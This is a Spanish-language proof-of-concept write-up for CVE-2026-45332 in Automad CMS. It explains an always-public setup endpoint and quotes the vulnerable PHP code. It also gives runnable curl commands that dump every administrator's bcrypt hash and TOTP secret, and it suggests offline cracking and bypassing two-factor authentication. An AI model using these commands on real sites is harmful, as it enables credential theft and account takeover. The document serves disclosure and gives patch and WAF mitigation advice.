
Exploit de prueba de concepto para CVE-2026-45332, un control de acceso roto en Automad CMS que permite el volcado no autenticado de hashes bcrypt de administrador y secretos TOTP.
Prueba de concepto para CVE-2026-45332, una vulnerabilidad de Control de Acceso Roto en Automad CMS que permite a cualquier atacante no autenticado volcar el hash de contraseña bcrypt y el secreto TOTP de todas las cuentas de administrador a través del endpoint de configuración, que nunca se deshabilita después de la configuración inicial.
| Field | Value |
|---|---|
| CVE | CVE-2026-45332 |
| GHSA | GHSA-xm76-r88j-vm3g |
| Product | Automad CMS (composer automad/automad) |
| Affected | >= 2.0.0-alpha.1, <= 2.0.0-beta.27 |
| Patched | 2.0.0-beta.28 |
| CVSS 3.1 | 7.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| CWE | CWE-200 (Sensitive Information Exposure), CWE-306 (Missing Authentication for Critical Function) |
| Researcher | Lorenzo Camilli |
Automad es un CMS PHP basado en archivos. El endpoint de configuración responsable de crear la primera cuenta de administrador, /_api/user-collection/create-first-user, está registrado como una ruta de API pública permanente. No hay ninguna protección que lo cierre una vez completada la configuración inicial.
En una instancia activa y completamente configurada, un POST no autenticado a este endpoint carga toda la base de datos de usuarios desde el disco y la devuelve, serializada, en el cuerpo de la respuesta JSON, incluyendo:
2.0.0-beta.27)No se requiere ninguna cuenta previa, credenciales ni una posición especial en la red.
La ruta se coloca dentro del array $publicAPIRoutes en automad/src/server/Routes.php y se registra bajo la condición AM_PAGE_DASHBOARD, una constante que se evalúa como la cadena '/dashboard' y que, por tanto, siempre es verdadera. La ruta permanece registrada en todas las instalaciones, incluso después de completarse el proceso de configuración.
// automad/src/server/Controllers/API/UserCollectionController.php
public static function createFirstUser(): Response {
$UserCollection = new UserCollection(); // loads ALL existing users from disk
// ...
$php = $UserCollection->generatePHP(); // serializes every user including hashes
return $Response->setData(array(
'php' => $php, // credential hashes returned in response
'configDir' => dirname(UserCollection::FILE_ACCOUNTS) // absolute path leaked
));
}
User::__serialize() incluye los campos privados passwordHash y totpSecret, por lo que terminan incrustados en la salida serializada que se devuelve al llamador.
Análisis técnico completo: PoC.md.
El endpoint requiere un token CSRF válido y una cookie de sesión de Automad, ambos obtenibles libremente desde la página pública de inicio de sesión. Reproducción:
# 1. Grab a session cookie and the CSRF token from the public login page
JAR=$(mktemp)
CSRF=$(curl -sc "$JAR" http://localhost:80/dashboard/login \
| grep -oP '(?<=<meta name="csrf" content=")[^"]+')
# 2. Dump the credential store
curl -s -b "$JAR" -X POST 'http://localhost:80/_api/user-collection/create-first-user' \
--data-urlencode "__csrf__=$CSRF" \
--data-urlencode 'username=dummy' \
--data-urlencode 'password1=AnyPassword1!' \
--data-urlencode 'password2=AnyPassword1!' \
--data-urlencode '[email protected]' | jq .
La respuesta contiene el hash bcrypt y el secreto TOTP de cada administrador registrado, junto con la ruta absoluta de configuración:
{
"code": 200,
"data": {
"php": "<?php ... \"passwordHash\";s:60:\"$2y$10$<ADMIN_HASH>\" ... \"totpSecret\";s:N:\"<TOTP_SECRET>\" ...",
"filename": "accounts.php",
"configDir": "/path/to/config"
}
}
Los hashes bcrypt pueden luego ser crackeados sin conexión (Hashcat / John). En 2.0.0-beta.27, el secreto TOTP filtrado permite omitir la autenticación de dos factores por completo.
Un atacante remoto no autenticado puede:
2.0.0-beta.27).Actualice a Automad 2.0.0-beta.28 o posterior, que restringe el endpoint una vez completada la configuración inicial. Como mitigación temporal, bloquee las peticiones a /_api/user-collection/create-first-user en el servidor web o WAF.